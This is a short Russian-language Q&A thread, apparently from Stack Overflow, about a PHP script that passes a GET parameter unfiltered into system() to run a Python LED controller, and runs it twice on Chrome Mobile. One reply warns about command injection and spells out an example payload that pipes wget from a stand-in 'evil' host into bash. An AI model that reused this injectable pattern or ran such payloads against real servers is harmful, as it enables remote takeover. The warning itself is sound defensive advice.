У меня странная проблема с простым скриптом php, который выполняет программу python, передавая ему один параметр. Вот script.php:
<?php
$t = $_GET['t'];
system("python /var/www/html/ledcontrol.py " . $t);
?>
При загрузке этого скрипта из Chrome Mobile с t = 5 (/file.php?t=5) программа python всегда выполняется два раза подряд: в журнале доступа Apache я нахожу два доступа с разными IP-адресами. Вместо этого, если я установлю для т другое значение или использую другие браузеры, сценарий будет работать отлично. Как значение t = 5 может повлиять на поведение этого простого скрипта? Как я могу это исправить?
Большое спасибо!
Может у тебя в хроме есть какие-то аддоны? Это не проблема PHP, а проблема на стороне клиента. Вы можете отлаживать свой Chrome-мобильный на нашем телефоне с консоли Chrome для ПК. Попробуйте посмотреть сетевую активность клиента в chrome, когда вы запрашиваете скрипт php
Обратите внимание, что вы бросаете определяемое пользователем значение непосредственно в вызов system() без фильтрации. Злонамеренный пользователь может легко взять под свой контроль ваш сервер, отправив такие запросы, как file.php?t=5 | wget -O - http://evil/script.sh | bash. Вы должны проверять все и любые вводимые пользователем данные перед их использованием.






stackoverflow.com/questions/4761913/… помогает?